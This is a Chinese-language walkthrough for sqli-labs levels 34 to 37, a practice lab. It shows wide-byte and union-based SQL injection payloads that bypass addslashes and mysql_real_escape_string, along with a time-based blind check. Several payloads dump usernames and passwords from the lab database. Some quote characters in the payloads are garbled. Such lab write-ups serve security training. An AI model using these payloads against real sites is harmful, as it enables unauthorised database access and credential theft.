Less34:
输入 admin admin 登录成功
输入 a c 登录失败,没有报错信息
看源码
本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)
分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à ?’
法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
方法一:
- 在POST中传入的数据:1 ?‘ union select 1,2# (注意:在这里不能够再使用--+ -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
方法二:
输入 a%df’ a%df’
抓包
- 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
修改信息,forward,intercept is on ,返回关卡界面
Less35: id没有任何包裹
http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+
因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+
?id=-1 union select 1,2,group_concat(concat(‘~‘,username,password)) from security.users--+
使用时间盲注的方法也可以
http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5) )
Less-36:使用’1’进行包裹
http://192.168.27.156/sqli-labs/Less-36/?id=1
http://192.168.27.156/sqli-labs/Less-36/?id=1‘ 单引号被转义
使用宽字节注入
http://192.168.27.156/sqli-labs/Less-36/?id=1%df‘ union select 1,2,3 --+
http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 --+
http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
Less37:
输入 admin admin 登录成功
输入 ad a 登录失败
可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!
- 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à ?‘
方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
方法一:
方法二:抓包
又将 %转化为%25
原文地址:https://www.cnblogs.com/7-58/p/12268110.html